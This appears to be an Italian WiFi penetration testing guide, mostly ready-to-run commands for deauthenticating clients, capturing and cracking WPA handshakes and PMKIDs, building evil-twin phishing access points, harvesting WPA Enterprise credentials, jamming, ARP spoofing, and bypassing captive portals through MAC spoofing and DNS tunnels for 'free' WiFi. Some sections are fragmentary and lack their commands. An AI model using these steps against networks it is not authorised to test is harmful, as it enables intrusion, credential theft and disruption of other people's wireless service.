
Guida al Penetration Testing WiFi
2.1. Portali captive
3.1. Nessun client
4.1. Cracking dell'handshake a 4 vie
4.2. Attacco PMKID
4.3. Attacco senza AP
5.2. Forza bruta
6.1. Krack Attack e Frag Attack
6.2. OSINT
6.3. Jamming WiFi
6.4. Altri framework
7.1. Attacco al router
7.2. Tipi di scanner
7.3. Spoofing
VARIABLE=value
iwconfig $IFACE
ifconfig $IFACE
airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up
Imposta modalità monitor
Esegui Airodump-ng
airodump-ng $IFACE -c $CHANNEL -e $ESSID
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE
Elenca le reti usando Airodump-ng e ottieni l'indirizzo MAC dell'AP ($AP_MAC) e uno di un client ($CLIENT_MAC). Non fermare la cattura.
In un altro terminale, deautentica un client o tutti. Quando Airodump-ng cattura un handshake da questa rete, il nome o ESSID apparirà nel primo terminale:
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
Elenca le reti usando Airodump-ng e ottieni l'indirizzo MAC dell'AP ($AP_MAC) e uno di un client ($CLIENT_MAC). Non fermare la cattura.
2.a. Esegui un attacco dizionario
mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH
2.b. Oppure esegui un attacco a forza bruta
mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET
Per il set di caratteri è possibile usare l (lettere minuscole), u (maiuscole), n (numeri), c (minuscole+maiuscole), m (minuscole+maiuscole+numeri) o a (tutti stampabili).
Clona un sito web usando HTTrack
Installa Wifiphisher. Aggiungi il risultato di HTTrack in una nuova cartella in wifiphisher/data/phishing-pages/new_page/html e un file di configurazione in wifiphisher/data/phishing-pages/new_page/config.ini.
Ricompila il progetto usando python setup.py install o il binario in bin.
Questo comando funziona correttamente nell'ultima versione di Kali dopo aver installato hostapd:
cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE
Il primo metodo per bypassare un portale captive è cambiare il tuo indirizzo MAC con quello di un utente già autenticato.
macchanger
Uno script personalizzato come questo (Bash)
Inoltre, puoi usare script per automatizzare il processo come:
Un secondo metodo è creare un tunnel DNS. Per questo, è necessario avere un proprio server DNS accessibile. Puoi usare questo metodo per bypassare il portale captive e ottenere WiFi "gratuito" in hotel, aeroporti...
nslookup example.com
Un "record A": dns.$DOMAIN che punta a $SERVER_IP (Esempio: dns.domain.com 139.59.172.117)
Un "record NS": hack.$DOMAIN che punta a dns.$DOMAIN (Esempio: hack.domain.com dns.domain.com)
iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN
Controlla se funziona correttamente qui
Esecuzione nel client
iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN
ssh -D 8080 [email protected]
Una volta che sei nella rete, puoi testare se è vulnerabile agli attacchi Man in the Middle.
Attacco ARP Spoofing usando Ettercap
Sniffa il traffico usando Wireshark o TCPdump
Analizza il traffico usando PCredz (Linux) o Network Miner (Windows)
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng $PCAP_FILE
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng -w $WORDLIST capture.cap
Puoi ottenere wordlist da qui.
pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db
Puoi usare questo script o seguire questi passaggi:
Installa Hcxdumptool e Hcxtool (puoi usare questo script).
Ferma Network Manager
airmon-ng check kill
3a. Se vuoi attaccare un indirizzo MAC specifico
echo $MAC | sed 's/://g' > $FILTER_FILE
hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2
hcxpcaptool -z $HASH_FILE $PCAPNG_FILE
La struttura di ogni riga è: PMKID * MAC ROUTER * STATION * ESSID (controlla su: https://www.rapidtables.com/convert/number/hex-to-ascii.html)
hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force
Se hai accesso a un dispositivo client con la connessione WiFi accesa ma non c'è una rete nelle vicinanze, puoi comunque attaccare quella rete se il dispositivo client si è connesso in precedenza.
Per farlo, devi creare un Falso Punto di Accesso usando hostapd con un file di configurazione come questo, con qualsiasi password ma lo stesso nome di rete. Crea la rete fittizia, il dispositivo client proverà a connettersi e otterrai l'handshake a 4 vie come nella sezione 4.1 di questa guida.
Se non vuoi usare la macchina virtuale, puoi installare tutto usando:
git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack
cd WPA_Enterprise_Attack && sudo sh install.sh
Avvia il punto di accesso usando:
sh freeradius_wpe_init.sh $AP_NAME $INTERFACE
Quando un client si connette, leggi i log con:
sh freeradius_wpe_read.sh
sh hostapd_wpe_init.sh $AP_NAME $INTERFACE
Trova metodi EAP supportati
Questi sono due attacchi avanzati scoperti dal grande Mathy Vanhoef:
Krack Attack Scripts - Spiegato in questo sito
Frag Attack Scripts - Spiegato in questo sito
Un esempio per deautenticare tutti i dispositivi tranne un Falso Punto di Accesso:
sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC
Linux:
Windows:
Una volta connesso alla rete
Nmap/Zenmap - Scanner di sicurezza, scanner di porte e strumento di esplorazione della rete
Masscan - La versione più veloce di nmap (può rompere cose, quindi fai attenzione)
Netdiscover - Sniffing ARP. Molto utile se le reti sono molto segmentate
| Sistema operativo | Piattaforma | Credenziali | Dimensione | Collegamento |
|---|
| Ubuntu 16.04.5 | VMware | ricardojoserf:wifi | 3.25 GB | MEGA |
| Kali 2019.1 | VMware | root:wifi | 4.99 GB | MEGA |
| Ubuntu 16.04.5 | VirtualBox (OVA) | ricardojoserf:wifi | 3.18 GB | MEGA |
| Kali 2019.1 | VirtualBox (OVA) | root:wifi | 5.56 GB | MEGA |